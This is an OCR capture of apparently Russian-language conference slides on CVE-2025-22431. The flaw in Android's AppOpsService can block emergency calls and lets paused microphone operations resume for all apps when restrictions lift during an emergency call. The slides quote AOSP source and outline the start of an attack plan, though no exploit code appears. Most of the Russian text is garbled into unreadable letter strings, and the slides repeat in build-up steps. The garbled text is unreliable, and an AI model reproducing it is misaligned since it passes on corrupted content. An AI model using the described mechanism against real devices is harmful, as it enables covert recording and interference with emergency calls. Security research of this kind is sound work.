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CVE-2025-22431

KaTteropmsa yasBMMoCTMU.
LlenleHanpaB/eHHOE NpenoTBpaLleHMe OOCTyna
K SKCTPEHHbIM Ccny)X6am

OnacHOCTb: BblCcOKadd

Ya3BmMblt KOMMoHeHT OC: AppOpsService




Android Security Bulletin
April 2025

Framework

The most severe vulnerability in this section could lead to local escalation of privilege with no additional
execution privileges needed. User interaction is not needed for exploitation.

CVE References Type Severity Updated AOSP versions

CVE-2025-22431 A-375623125 DoS High 13, 14, 15
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C s Targeted DoS attack prevents from calling emergency services (911 or similar)
+1 Hotlists (1)

Comments (20) Dependencies Duplicates (0) Blocking (O) Resources (14)

. . Reporter
ki...@google.com <ki...@google.com> #5 Nov 20, 2024 09:55PM

Type

Hello Alena, o
Priority

Nice find! The Android security team has conducted an initial severity assessment on this
report. Based on our published severity assessment matrix (1) it was rated as High severity
and High quality.

Severity

Status

(§ nalenaskeyx@...
¥ Bug

P2

S2
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@ Emergency Dialer (cucreMmHaa 3BOHWUNKA)




Emergency Dialer

4289 B (]

Create new contact

Add to a contact
Send a message @

Owner

4:29

Emergency

View emergency info >
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OcHOBHbIe KOMNOHEHTbI CUCTEMBbI
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@ Emergency Dialer (cucreMmHaa 3BOHWUNKA)

() Basa AaHHbIX SKCTPEHHbIX HOMEPOR




ba3sa gaaHHbIX IKCTPEeHHbIX HOMEPOB

Received network

SIM card file

| IRadio HAL
e

Android apps
(through TelephonyManager API)

Android emergency number tracker
(EmergencyNumberTracker.java)

Android emergency
number database

Downloaded emergency
number database OTA updates

Higher version applies

AOSP emergency number
database

source.android.com




ba3sa gaaHHbIX IKCTPEeHHbIX HOMEPOB

packages/services/Telephony/ecc/input/eccdata.txt

countries {

iso _code: "RU"

eccs {
phone_number: "112"
types: POLICE
types: AMBULANCE
types: FIRE
routing: EMERGENCY

}

eccs A
phone_number: "101"
types: FIRE
routing: EMERGENCY

}

eccs A
phone_number: "102"
types: POLICE
routing: EMERGENCY

}
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() Basa AaHHbIX SKCTPEHHbIX HOMEPOR




OcHOBHbIe KOMNOHEHTbI CUCTEMBbI
JKCTPEeHHbIX CNY)>Xb

@ Emergency Dialer (cucreMmHaa 3BOHWUNKA)

() Basa AaHHbIX SKCTPEHHbIX HOMEPOR

(M) Cny)k6a 3KCTPEHHOro onpeaeneHus
MEeCTOMONOXEHUS




Emergency Location Service

Calling...

Emergency number Emergency number
00:07

Emergency Location

Service You are here
| < \ 43 Amphitheatre Pkwy >'O'
Mountain View, CA 94043 -

Plus code: 849VCWC8+Q9 Fharlestan R
37.421998, -122.084000

Finding your location...

Use Emergency Location ()

. This phone's number: +1 555-123-4567
Service

This phone's number: +1 555-123-4567

®

If the supplemental Emergency Location Service is
supported by your device in your region, when you call or
text an emergency number, your device may automatically
send its location and other critical information to
emergency responders.

When you call or text an emergency number, Emergency
Location Service may use your device's location with
Google Location Accuracy to determine the most accurate
location for your device, even if those settings are off.
Emergency Location Service may also turn on your device's
Wi-Fi setting. If Emergency Location Service is off, your

mobile carrier may still send your device's location during
an emergency call.
Learn more about Emergency Location Service
Speaker Speaker
A separate app you use may have a feature that allows
you to choose to send information such as medical and/or
emergency contact information to emergency responders
via Emergency Location Service. This information will be

sent directly from the device that places the call. You can
enable and disable this feature at any time in that app.

Open Personal Safety
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@ Emergency Dialer (cucreMmHaa 3BOHWUNKA)
@ ba3a gaHHbIX 3KCTPEHHbIX HOMEPOB

(M) Cny)k6a 3KCTPEHHOro onpeaeneHus
MEeCTOMONOXEHUS

@ Pe>xnM o6paTHOMo BbI3OBa




Pe>xum O6pPaTHOTO BbI30BA

| 4:42 Fri, Jul 4 ¥40100% \
| 1

' Internet > * Bluetooth >

\. Emergency Callback Mode

Emergency Callback Mode
No data connection until 4:46 PM

The phone will be in Emergency Callback
mode for 4:06 minutes. While in this mode
no applications using a data connection
can be used. Do you want to exit now?

Manage

No
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@ Emergency Dialer (cucreMmHaa 3BOHWUNKA)
@ ba3a gaHHbIX 3KCTPEHHbIX HOMEPOB

(M) Cny)k6a 3KCTPEHHOro onpeaeneHus
MEeCTOMONOXEHUS

@ Pe>xnM o6paTHOMo BbI3OBa
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA




mUPOKOBell.laTeﬂbele
COOBLUEeHUA

1:32 B 0 9.4 B96%
< Emergency alert history

Public Safety message Jun 2,11:27 AM
The Santa Clara County Health Officer has revised the..

Wireless Emergency
Alerts

Allow alerts

Alerts

Extreme threats
Extreme threats to life and property

Severe threats
Severe threats to life and property

AMBER alerts

Child abduction emergency bulletins

Public safety messages

Recommended actions that can save lives or
property

State and local tests

Receive test messages from state and local
authorities

Emergency alert history
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA




OcHOBHbIe KOMNOHEHTbI CUCTEMBbI
JKCTPEeHHbIX CNY)>Xb

(v) WnpokoBeLlLaTenbHble COOBLLEHNA

@ KHOMKa 3KCTPEeHHOIo Bbi30OBa




KHonka JKCTPEHHOTO BbI30BA

) Power off
{7 Restart

o Emergency

source.android.com
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA

@ KHOMKa 3KCTPEeHHOIo Bbi30OBa




OcHOBHbIe KOMNOHEHTbI CUCTEMBbI
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA

@ KHOMKa 3KCTPEeHHOIo Bbi30OBa

@ CnyTHUKoBbIN SOS




CnytHukosbiu SOS

With your Pixel, you can message with
emergency services and share your location
when you can’t connect to a mobile or Wi-Fi

network
Connected

Keep phone steady
@ sent

How it works

Call or text emergency
services
If you don’t have a mobile network,

you’ll see an option to use Satellite
SOS
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA

@ KHOMKa 3KCTPEeHHOIo Bbi30OBa

@ CnyTHUKoBbIN SOS
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(v) WnpokoBeLlLaTenbHble COOBLLEHNA

@ KHOMKa 3KCTPEeHHOIo Bbi30OBa

@ CnyTHUKoBbIN SOS

@ [MpunnoxxeHune Personal Safety
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Os30p BO3MOXXHOCTEU Npuno>XeHus
Personal Safety

OKCTPEHHbIN BbI3OB




KCTpeHHbIﬁ Bbi30B

530 G (o]

< Emergency SOS

—

Get help fast with Emergency SOS is
Emergency SOS ready How it works

® Press the Power button quickly 5

Press the Power button quickly 5 times or more in an Press the Power button quickly 5 times or more in an times or more
emergency. | emergency to:

Touch & hold to start
@ 3

Your phone can: -
emergency actions

+ Call emergency services
+ Share info with emergency contacts

- Record a video w'/r‘ Trya demor\'
| (& myademo )

Emergency actions

N Call emergency services

911. Use assisted calling

Call 211

Share info with your contacts

) . Share info with
using Emergency Sharing

emergency contacts

Use Emergency Sharing to text Q
your real-time location and

updates to emergency contacts

Record an emergency video

Record emergency
You can update your Emergency SOS preferences video Q
anytime. Settings
Record, back up and share an

emergency video
No thanks Start setup
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Os30p BO3MOXXHOCTEU Npuno>XeHus
Personal Safety

OKCTPEHHbIN BbI3OB

OTI'IpaBKa OaHHDbIX B

SQKCTPEHHDIX CJ1ly4HadX




OTI'IpaBKa AaHHbIX B 3KCTPEHHbLIX CAYy4YanaXx

Sharing @

@ Real-time location

) Started Emergency
o3P . Sharing

all 911




OTI'IpaBKa AaHHbIX B 3KCTPEHHbLIX CAYy4YanaXx

1% G

&«

Emergency Sharing

Sharing @

@ Real-time location

) Started Emergency
o3P . Sharing

Sent from Personal Safety by
Google: You're receiving this
message because you're an
emergency contact for

IS sharing their
real-time location with you:

Please call or text
directly for
updates.
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Os30p BO3MOXXHOCTEU Npuno>XeHus
Personal Safety

OKCTPEHHbIN BbI3OB

OTI'IpaBKa OaHHDbIX B

SQKCTPEHHDIX CJ1ly4HadX

3arnmcb 3KCTPEHHOTO
BNOEO




aluCb 3IKCTPEeHHOTO Bugaeo

o v4n

e Emergency recording Your info Q o

Your videos

Emergency_20250503_1
01:01

Emergency_20250503_0
01:01

Emergency_20241208_0
00:00

[k See all videos

Help & support

Q" Demos

® Help

Emergency Call 911

Sharing
[F]1 send feedback

(@ Open source licenses

* ® [ 2

Features Your info
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Os30p BO3MOXXHOCTEU Npuno>XeHus
Personal Safety

OKCTPEHHbIUN BbI3OB

OTI'IpaBKa OaHHDbIX B

SQKCTPEHHDIX CJ1ly4HadX

3arnmcb 3KCTPEHHOTIO
BMOEO

[TpoBepKa 6e30MacHOCTU




OBEpPKa Be30MNacHOCTU

<

Walking alone

Safety Check

Start a Safety Check

1h 6:42 PM

Duration Check In

Step 10f 2

Let Pixel know your situation and when to check that

you're safe. See how it works If no response, notify

Reason

Walking alone

Duration
1hour

When you start a Safety Check, location
sharing is started. Your real-time location
stays private to you until Emergency Sharing
starts.

Ol JO

| Emergency Stop Call 911
| Sharing
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3arnmcb 3KCTPEHHOTIO
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[TpoBepKa 6e30MacHOCTU




Os30p BO3MOXXHOCTEU Npuno>XeHus
Personal Safety

OKCTPEHHbIV BbI3OB O6HapyxeHune OT

OTI'IpaBKa OaHHDbIX B

SQKCTPEHHDIX CJ1ly4HadX

3anmcb 3KCTPEHHOTIO
BUOEO

[TpoBepKa 6e30MacHOCTU




OsHapyrxkeHue 4TTI

Car crash detected

Calling 102 to report car crash in

Call 102

Glad you're OK. What
happened?

b
a No crash
s X
8 Minor crash

Call 102
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Personal Safety
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o >

SQKCTPEHHDIX CJ1ly4HadX onoBeLlweHun4d

3arnmcb 3KCTPEHHOTO
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[TpoBepKa 6e30MacHOCTU




JKCTPEeHHbIe - e -
onoBeLlleHuUA

Earthquake

Estimated magnitude 6.1
20 miles away

Crisis alerts

’

v !
SR
- ©) -
Wy oot
g %

e Android Earthquake Alerts System + now

Earthquake nearby

Expect light shaking. Epicenter estimated about
16 miles away.

Crisis alerts

Get notified about natural disasters and public
emergencies affecting your area

/

@ Pixel uses your device's location to find info
about crises affecting your area, even when
the app is closed or not in use.

Keep in mind, Pixel may not notify you about
all public emergencies.

Learn more
Tap for next step /

Android Earthquake Alerts System
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OKCTPEHHbIV BbI3OB O6HapyxeHune OT

OTnpaBKa OaHHDbIX B JKCTPEeHHble
o >

SQKCTPEHHDIX CJ1ly4HadX onoBeLlweHun4d

3anmcb 3KCTPEHHOTIO MeounumnHcCKad
BUOEO MHPopMaLUS

[TpoBepKa 6e30MacHOCTU




MeauuuHcKan UHOOpMauuA

Medical information

o Name

= Date of birth

Unknown

Blood type

Unknown

Height

Unknown

Weight

Unknown

More

To help in an emergency, people can view
this info without unlocking your device

Change setting

This info is saved only on your device.
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6:58

Fri, Jul 4

Auto-rotate
On / folded

Battery Saver
Off

Screen record
Start

Mic access
Available

T-Mobile

¥4 0100%

QR code scanr

Quick Share
Your devices

Camera access
Available

>




T-Mobile

Fri, Jul 4 ¥.40100%

Emergency number
00:02

Yi h
Auto-rotate ® | de scanner 'ou are here

On / folded * 43 Amphitheatre Pkwy [ ’
Mountain View, CA 94043 i

Plus code: 849VCWC8+Q9 ‘harleston g

Battery Saver Cast | 37.421998, -122.084000
Off S Off |

This phone's number: +1 555-123-4567 Microphone & Camera

>
Start ' Your devices

Screen record &~ Quick Share ; j : Recent app use

Microphone

| ‘ , o
Mic access Camera access | ‘ | : In use by phone call

Blocked Available

Speaker




7 : 0 3 T-Mobile

Fri, Jul 4 .4 0100%

Emergency number

| |

\ :

\ |

| [y Autootate B2 de scanner > : fouare her'e

! On / folded o 43 Amphitheatre Pkwy i ’
‘ ‘ Mountain View, CA 94043 i

! |

| Plus code: 849VCWC8+Q9
[y Battery Saver = = > ; 37.421998, -122.084000

Off Off

CucrtemMma aBTOMaTUYECKM CHUMAET 3aMnpeT Ha OOCTyn K MMKpOd)OHy

NMNPenM Bbl30OBE Cﬂy)-l-(6 CrnacCceHn4

. See recent access Done

Speaker




SensorPrivacyService




SensorPrivacyService

YrnpaBnaeT COCTOAHUNEM NMPUBATHOCTU CEHCOPOB
(MMKPOPOH N KamMepa)




SensorPrivacyService

YnpaBnaeT COCTOSHUEM NMPUBATHOCTU CEHCOPOB
(MMKPOPOH N KamMepa)

CoxpqueT dKTyaJibHOE€ COCTOAHNE CEeEHCOPa Ha OUNCK




SensorPrivacyService

YrnpaBnaeT COCTOAHUNEM NMPUBATHOCTU CEHCOPOB
(MMKPOPOH N KamMepa)

CoxpqueT dKTyaJibHOE€ COCTOAHNE CEeEHCOPa Ha OUNCK

YBegoMndeT KOMMOHEHTblI CUCTEMbI U MPUNOXKEHUA 06
NM3IMEHEHUNAX




SensorPrivacyService

YrnpaBnaeT COCTOAHUNEM NMPUBATHOCTU CEHCOPOB
(MMKPOPOH N KamMepa)

CoxpqueT dKTyaJibHOE€ COCTOAHNE CEeEHCOPa Ha OUNCK

YBegoMndeT KOMMOHEHTblI CUCTEMbI U MPUNOXKEHUA 06
NM3IMEHEHUNAX

MHUUMMPYET 3anpoc Ha YCTaHOBKY/cHATME rno6anbHbIX
OrpaHNYEeHMM Ha OOCTYN K MNKPOPOHY U KaMepe




Perumpauua KONB3Ka IKCTPEeHHOTO
COCTOAHUA

frameworks/base/services/core/java/com/android/server/sensorprivacy/
SensorPrivacyService.java

@Override
public void onBootPhase(int phase) {
if (phase == PHASE_SYSTEM SERVICES READY) {

mKeyguardManager = mContext.getSystemService(KeyguardManager.class);
mCallStateHelper = new CallStateHelper();

mSensorPrivacyServiceImpl.registerSettingsObserver();
} else if (phase == PHASE ACTIVITY MANAGER_ READY) {

mCameraPrivacylLightController = new CameraPrivacylLightController(mContext);
}




Perumpauua KONB3Ka IKCTPEeHHOTO
COCTOAHUA

SensorPrivacyService#onBootPhase

SensorPrivacyService.CallStateHelper#init

SensorPrivacyService.CallStateHelper
.OutgoingEmergencyStateCallback#init

TelephonyManager#registerTelephonyCallback

SensorPrivacyService
.CallStateHelper#onEmergencyCall




lNpoBepka cocToAHUA MUKpPOdOHA

frameworks/base/services/core/java/com/android/server/sensorprivacy/
SensorPrivacyService.java$CallStateHelper

private void onEmergencyCall() {
synchronized (mCallStatelLock) {
if (!mIsInEmergencyCall) {
mIsInEmergencyCall = true;
if (mSensorPrivacyServicelImpl
.isToggleSensorPrivacyEnabled (TOGGLE TYPE_ SOFTWARE, MICROPHONE)) A
mSensorPrivacyServiceImpl.setToggleSensorPrivacyUnchecked(
TOGGLE_TYPE_SOFTWARE, mCurrentUser, OTHER, MICROPHONE, false);
mMicUnmutedForEmergencyCall = true;
} else {
mMicUnmutedForEmergencyCall = false;

¥




lNpoBepka cocToAHUA MUKpPOdOHA

frameworks/base/services/core/java/com/android/server/sensorprivacy/
SensorPrivacyService.java$CallStateHelper

private void onEmergencyCall() {
synchronized (mCallStatelLock) { MukpodoH
if (!mIsInEmergencyCall) { BbIK/tOYEH?
mIsInEmergencyCall = true;
if (mSensorPrivacyServicelImpl
.isToggleSensorPrivacyEnabledfTOGGLE TYPE SOFTWARE, MICROPHONE)) {
mSensorPrivacyServiceImpl.setToggleSensorPrivacyUnchecked(
TOGGLE_TYPE_SOFTWARE, mCurrentUser, OTHER, MICROPHONE, false);
mMicUnmutedForEmergencyCall = true;
} else {
mMicUnmutedForEmergencyCall = false;

¥




lNpoBepka cocToAHUA MUKpPOdOHA

frameworks/base/services/core/java/com/android/server/sensorprivacy/
SensorPrivacyService.java$CallStateHelper

private void onEmergencyCall() {
synchronized (mCallStatelLock) { MukpodoH
if (!mIsInEmergencyCall) { BbIK/tOYEH?
mIsInEmergencyCall = true;
if (mSensorPrivacyServicelImpl
.LsToggleSensorPrivacyEnabledj'TOGGLE_TYPE_SOFTWARE, MICROPHONE)) {
mSensorPrivacyServiceImpl.setToggleSensorPrivacyUnchecked
TOGGLE_TYPE_SOFTWARE, mCurrentUser, OTHER, MICROPHONE, false);
mMicUnmutedForEmergencyCall = true;
} else {
mMicUnmutedForEmergencyCall = false; ATOMapHOE M3MeHEHME

} COCTOAHUA NPMNBATHOCTUN CEHCOPA




CHATue rnosanbHbIX orpaHuueHuﬁ

frameworks/base/services/core/java/com/android/server/sensorprivacy/SensorPrivacyService.java$
SensorPrivacyServicelImpl

private void setGlobalRestriction(int sensor, boolean enabled) {
switch(sensor) {
case MICROPHONE:

mAppOpsManagerInternal.setGlobalRestriction(OP _RECORD AUDIO, enabled,
mAppOpsRestrictionToken);

mAppOpsManagerInternal.setGlobalRestriction(

OP_RECEIVE SANDBOX_ TRIGGER AUDIO, enabled, mAppOpsRestrictionToken);

mAppOpsManagganternalTsetGlobglRestriction(OP_PHONE_CALL_MICROPHONE, enabled,
mAppOpsRestrictionToken);

mAppOpsManagerInternal.setGlobalRestriction(OP_RECEIVE AMBIENT TRIGGER AUDIO,
enabled, mAppOpsRestrictionToken); o - -

mAppOpsManagerInternal.setGlobalRestriction(
OP _RECEIVE EXPLICIT USER_INTERACTION AUDIO, enabled && !allowed,
mAppOpsRestrictionToken);

break;




CHATue rnosanbHbIX orpaHuueHuﬁ

Mic access
ql
\ Blocked

SensorPrivacyServiceImpl
#setGlobalRestriction(MICROPHONE, false)
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3aueM HYrxkeH AppOpsService

CyLecTByeT NoOBepX CUCTEMbI pa3peLlleHnn Android




3aueM HYrxkeH AppOpsService

CyLecTByeT NoOBepX CUCTEMbI pa3peLlleHnn Android

OcyLlecTBNseT KOHTPO/1b AO0CTYyMNa Ha YPOBHE onepauunm




3aueM HYrxkeH AppOpsService

CyLecTByeT NoOBepX CUCTEMbI pa3peLlleHnn Android

OcyLlecTBNseT KOHTPO/1b AO0CTYyMNa Ha YPOBHE onepauunm

BeoeT LeHTpanmM3oBaHHbIM ayauT OOCTyNa K
YyBCTBUTENIbHbIM OAaHHbIM




3aueM HYrxkeH AppOpsService

CyLecTByeT NoOBepX CUCTEMbI pa3peLlleHnn Android

OcyLlecTBNseT KOHTPO/1b AO0CTYyMNa Ha YPOBHE onepauunm

BeoeT LeHTpanmM3oBaHHbIM ayauT OOCTyNa K
YyBCTBUTENIbHbIM OAaHHbIM

[Mo3BonaeT rmbKo HaCTpamBaTb NMNOJIUTUKU 6e30MnacHoOCTU




AppOpsService B cucteMe paspelieHuu

Android Application

Request to access protected data

I
¥

SystemService

Check if the app has Check if the app is allowed to

the permission granted
I

v

perform the operation

v

PermissionManagerService

AppOpsService




Onepauuu npuno>xeHul (app ops)

Ha cuctemMe — 157 onepaumnum npmnnoxXeHmm
(frameworks/proto logging/stats/enums/app_shared/app op_enums.proto)

Permission Operation

android.permission.ACCESS FINE LOCATION -> OP_FINE LOCATION (code 1)
android.permission.CAMERA -> OP_CAMERA (code 26)
android.permission.RECORD AUDIO -> OP_RECORD_AUDIO (code 27)




Onepauuu npuno>xeHul (app ops)




Onepauuu npuno>xeHul (app ops)

CrapT o/iMTenbHOM onepaummn:
AppOpsManager#istartOp -> IAppOpsService#startOperation




Onepauuu npuno>xeHul (app ops)

CrapT o/iMTenbHOM onepaummn:
AppOpsManager#istartOp -> IAppOpsService#startOperation

3aBepLUueHue OJmMTesibHOW onepaymnm:
AppOpsManager#finishOp -> IAppOpsService#finishOperation




Onepauuu npuno>xeHul (app ops)

CrapT o/iMTenbHOM onepaummn:
AppOpsManager#istartOp -> IAppOpsService#startOperation

3aBepLUueHue OJmMTesibHOW onepaymnm:
AppOpsManager#finishOp -> IAppOpsService#finishOperation

YBepgoMiieHuUe o BbIMoOJTHEHUN ornepaunm npHnJi1oxxXeHmneMm.
AppOpsManager#noteOp -> IAppOpsService#noteOperation




Onepauuu npuno>xeHul (app ops)

CrapT o/iMTenbHOM onepaummn:
AppOpsManager#istartOp -> IAppOpsService#startOperation

3aBepLUueHue OJmMTesibHOW onepaymnm:
AppOpsManager#finishOp -> IAppOpsService#finishOperation

YBepgoMiieHuUe o BbIMoOJTHEHUN ornepaunm npHnJi1oxxXeHmneMm.
AppOpsManager#noteOp -> IAppOpsService#noteOperation

I'IpOBepKa Ha BO3MOXHOCTb OOCTYTI1a NMPpUninoxXeHmMd K orepauini.
AppOpsManager#checkOp -> IAppOpsService#checkOperation




Onepauuu npuno>xeHul (app ops)

$ adb shell appops get com.example.app

Package com.example.app:
RECORD_AUDIO: allow; time=+13s472ms ago; duration=+9s393ms




lNpokcu-onepauuu

3anyckK ornepaunm oT UMEeHU OpPYroro NpuUioXXeHus, T.e. Yyepes rnocpeHmMKa

frameworks/base/core/java/android/app/AppOpsManager. java

/**

* Report that an application has started executing a long-running operation on behalf of
* another application for the attribution chain specified by the {@link AttributionSource}}.

public int startProxyOp(@NonNull String op, @NonNull AttributionSource attributionSource,
@Nullable String message, boolean skipProxyOperation) {




lNpokcu-onepauuu

3anyckK ornepaunm oT UMEeHU OpPYroro NpuUioXXeHus, T.e. Yyepes rnocpeHmMKa

frameworks/base/core/java/android/app/AppOpsManager. java

/**

* Report that an application has started executing a long-running operation on behalf of
* another application for the attribution chain specified by the {@link AttributionSource}}.

public int startProxyOp(@NonNull String op, @NonNull|AttributionSource attributionSourceI
@Nullable String message, boolean skipProxyOperation) {




Proxy u proxied npuno)xeHun

AttributionSource {
uid = proxyUid
packageName = proxyPackageName
attributionTag = proxydAttributionTag
token = android.os.Binder@hashCode
deviceld = ©
next = AttributionSource {
uid = proxiedUid
packageName = proxiedPackageName
attributionTag = proxiedAttributionTag
token = android.os.Binder@hashCode
deviceld = ©
next = null




Proxy u proxied npuno)xeHun

AttributionSource {
uid = proxyUid
packageName = proxyPackageName
attributionTag = proxydAttributionTag
token = android.os.Binder@hashCode
deviceld = ©
next = AttributionSource {
uid = proxiedUid
packageName = proxiedPackageName
attributionTag = proxiedAttributionTag
token = android.os.Binder@hashCode
deviceld = ©
next = null

Pe3ioMUpy4

AttributionSource(
current = proxy package
next = proxied package

)

proxy package - 3anyckaeTt
onepauuuM OoT uMeHn proxied
package, nocpegHuk

proxied package - KoOHeYHbIN
nonyyaTtenb [OCTynNa




Proxy u proxied npuno)xeHun

$ adb shell dumpsys appops

Package com.example.app:
RECORD_AUDIO (allow):
apkappcontext=[
Access: [fg-tpd] 2025-07-03 08:36:09.233 (-10h27m36s393ms)
proxy[uid=10164, pkg=com.android.systemui, attributionTag=null]

]

Proxied package = com.example.app
3anpocun AocTyn K MUKPOPOHY Hepes nocpeaHuKa

Proxy package = com.android.systemui
MHMLIMMpOBan CTapT onepaumnm Kak nocpeaHuUkK
(TEXHNYECKN OOCTYN K MUKPOPOHY He 3arnpallmBaeT)




JHUKaNbHOCTb 3angcxaeMoﬁ onepauuu

1. Package name
2. Uid

3. Operation code
4. Device Id

5. Attribution tag




JHUKaNbHOCTb 3angcxaeMoﬁ onepauuu

1. Package name
2. Uid

3. Operation code
4. Device Id

5. Attribution tag*®

*No3Bongaer onpenesintb KOHerTHbIl;I NMCTOUHUMK BbI3OBa olrnepaumnm
: HomkeH O6bITb 3apernmcTtpmpoBaH B MaHMCI)eCTe Bbl3blBalOLLETO NMPUNI0o>XeHUN4H

<attribution
android:label="@string/label™
android:tag="@string/attribution_tag" />




NonuTuka Ee3onacHoOCTU B geucTBuu




NonuTuka Ee3onacHoOCTU B geucTBuu

1. OTKa3 oT 3anycKa onepauuu:
attributedOp.rejected(...)

startOperation: uid reject #1 for code 26 (26) uid 10150 package com.test.app flags: up




NonuTuka Ee3onacHoOCTU B geucTBuu

1. OTKa3 oT 3anycKa onepauuu:
attributedOp.rejected(...)

startOperation: uid reject #1 for code 26 (26) uid 10150 package com.test.app flags: up

2. Onepauusa paspeLueHa, HO perMmcTpmpyeTcs Kak NpUOCTaHOBJIeEHHada U3-3a
aKTUBHbIX orpaHunyeHuu (user / global restrictions):

attributedOp.createPaused(...)

startOperation: allowing code 101 uid 10150 package com.test.app restricted: true flags:
up




NonuTuka Ee3onacHoOCTU B geucTBuu

1. OTKa3 oT 3anycKa onepauuu:
attributedOp.rejected(...)

startOperation: uid reject #1 for code 26 (26) uid 10150 package com.test.app flags: up

2. Onepauusa paspeLueHa, HO perMmcTpmpyeTcs Kak NpUOCTaHOBJIeEHHada U3-3a
aKTUBHbIX orpaHunyeHuu (user / global restrictions):

attributedOp.createPaused(...)

startOperation: allowing code 101 uid 10150 package com.test.app restricted: true flags:
up

3. Onepauuda paspeLueHa U MOXXeT 6biTb HeMea/IeHHO HavaTa:
attributedOp.started(...)

startOperation: allowing code 26 uid 1000 package com.android.dynsystem restricted: false
flags: upd




NonuTuka Ee3onacHoOCTU B geucTBuu

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java
Method startOperationUnchecked:

isRestricted = isOpRestrictedLocked(uid, code, packageName, attributionTag,
virtualDeviceld, pvr.bypass, false);

if (isRestricted) {
attributedOp.createPaused(...); g [1ay3a onepauuu
} else {

attributedOp.started(...); :

}




NonuTuka Ee3onacHoOCTU B geucTBuu

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java
Method startOperationUnchecked:

isRestricted = isOpRestrictedLocked(uid, code, packageName, attributionTag,
virtualDeviceld, pvr.bypass, false);

if (isRestricted) {
attributedOp.createPaused(...); g [1ay3a onepauuu
} else {

attributedOp.started(...); :

}




Man rnosanbHbIX orpaHuquufj

AppOpsService#isOpRestrictedLocked

read

AppOpsRestrictionsimpl#mGlobalRestrictions

Map of global restrictions:
clientToken : {restricted op codes}




Man rnosanbHbIX orpaHuquuﬁ

frameworks/base/services/core/java/com/android/server/sensorprivacy/SensorPrivacyService.java$
SensorPrivacyServicelImpl

private void setGlobalRestriction(int sensor, boolean enabled) {
switch(sensor) {
case MICROPHONE:

mAppOpsManagerInternal.setGlobalRestriction(OP _RECORD AUDIO, enabled,
mAppOpsRestrictionToken);

mAppOpsManagerInternal.setGlobalRestriction(

OP_RECEIVE SANDBOX_ TRIGGER AUDIO, enabled, mAppOpsRestrictionToken);

mAppOpsManagganternalTsetGlobglRestriction(OP_PHONE_CALL_MICROPHONE, enabled,
mAppOpsRestrictionToken);

mAppOpsManagerInternal.setGlobalRestriction(OP_RECEIVE AMBIENT TRIGGER AUDIO,
enabled, mAppOpsRestrictionToken); o - -

mAppOpsManagerInternal.setGlobalRestriction(
OP _RECEIVE EXPLICIT USER_INTERACTION AUDIO, enabled && !allowed,
mAppOpsRestrictionToken);

break;




Man rnosanbHbIX orpaHuquufj

AppOpsService#isOpRestrictedLocked SensorPrivacyServicelmpl#setGlobalRestriction

read write put(): set new restriction
delete(): remove the restriction

AppOpsRestrictionsimpl#mGlobalRestrictions

Map of global restrictions:
clientToken : {restricted op codes}




Man rnosanbHbIX orpaHuquufj

AppOpsService#isOpRestrictedLocked SensorPrivacyServicelmpl#setGlobalRestriction

read write put(): set new restriction
delete(): remove the restriction

AppOpsRestrictionsimpl#mGlobalRestrictions

Map of global restrictions:
clientToken : {restricted op codes}

Ecnn MUMKpOdOH Ha cUcTeMe 3ab6/TIOKUPOBAH, Mbl CMOXXeM [06eXaTb TONbKO A0 Bbl30Ba
attributedOp.createPaused(), T.e. co30aTb MPUOCTAHOBJIEHHYIO OMepaLunio




Man rnosanbHbIX orpaHuquufj

AppOpsService#isOpRestrictedLocked SensorPrivacyServicelmpl#setGlobalRestriction

read write put(): set new restriction
delete(): remove the restriction

AppOpsRestrictionsimpl#mGlobalRestrictions

Map of global restrictions:
clientToken : {restricted op codes}

Ecnn MUMKpOdOH Ha cUcTeMe 3ab6/TIOKUPOBAH, Mbl CMOXXeM [06eXaTb TONbKO A0 Bbl30Ba
attributedOp.createPaused(), T.e. co30aTb MPUOCTAHOBJIEHHYIO OMepaLunio

A ecnn orpaHMU4YeHUa CHUMAKTCH, UTO TOrga npouncxoguT?




CHATue rnosanbHbIX orpaHuquuﬁ

SensorPrivacyServicelmpl
#setGlobalRestriction

AppOpsService$AppOpsManagerinternallmpl
#setGlobalRestriction

|

Has the restriction
state been changed?

AppOpsService
#updateStartedOpModeForUserForDefaultDevice

AppOpsService
#updateStartedOpModeForUidForDefaultDevicelLocked




CHATue rnosanbHbIX orpaHuueHuﬁ

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private void updateStartedOpModeForUidForDefaultDevicelocked(int code,
boolean restricted, int uid) {

AttributedOp attrOp = defaultDeviceAttributedOps.valueAt(tagIndex);
if (restricted && attrOp.isRunning()) {

attrOp.pause();

} else if (attrOp.isPaused()) {
attrOp.resume();

}




CHATue rnosanbHbIX orpaHuueHuﬁ

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private void updateStartedOpModeForUidForDefaultDevicelocked(int code,
boolean restricted, int uid) {

AttributedOp attrOp = defaultDeviceAttributedOps.valueAt(taglndex);
if (restricted && attrOp.isRunning()) {

attrOp.pause();
} else if (attrOp.isPaused()) {

- . 3anyck onepaunmn ansa BCEX
}




CHATue rnosanbHbIX orpaHuueHuﬁ

frameworks/base/services/core/java/com/android/server/appop/AppOpsService.java

private void updateStartedOpModeForUidForDefaultDevicelocked(int code,

boolean restricted, int uid) {

AttributedOp attrOp = defaultDeviceAttributedOps.valueAt(taglndex);
if (restricted && attrOp.isRunning()) {

attrOp.pause();

} else if (attrOp.isPaused()) {

}

attrOp.resume();

. 3anyck onepaunmn ansa BCEX
i NPUNOXKEHUN

[Ton 3BOHKE B 9KCTPEHHbIE CNY>XObl 6yaOyT CHATbI FobanbHble
OorpaHmnYeHmMa Ha OOCTYN K MUKPOPOHY =>
3aMyCK BCeX NMPUOCTAHOBTIEHHbIX MUKPOPOHHbIX onepaL,mm

ANna BCeX NPUNoXeHUuu




OCrrFZ0ONE

TexHuueckul pa3sop

UA3BUMOCTU: OT NMPOCTbIX
BaunacoB 40 0Exogda
nonutuk SELinux




lNpopasoTKa aTaku




lNpopasoTKa aTaku

-

-

01

TONbKO NPUNOYXeHUSA
MOryT NMJaHNPOBATb

onepauuun =>
NTOKaNbHbIN BEKTOP
aTaKu




[lpopasoTKa aTaku

[~ 1 [

01 02

TONbKO NPUNOXXEeHUS Bo BpemMda 3BOHKa

MOTYT NJIaHNPOBaTb CHUMYTCS OorpaHuUYeHud
onepauum => 1 3aMnycTaTCs BCe paHee

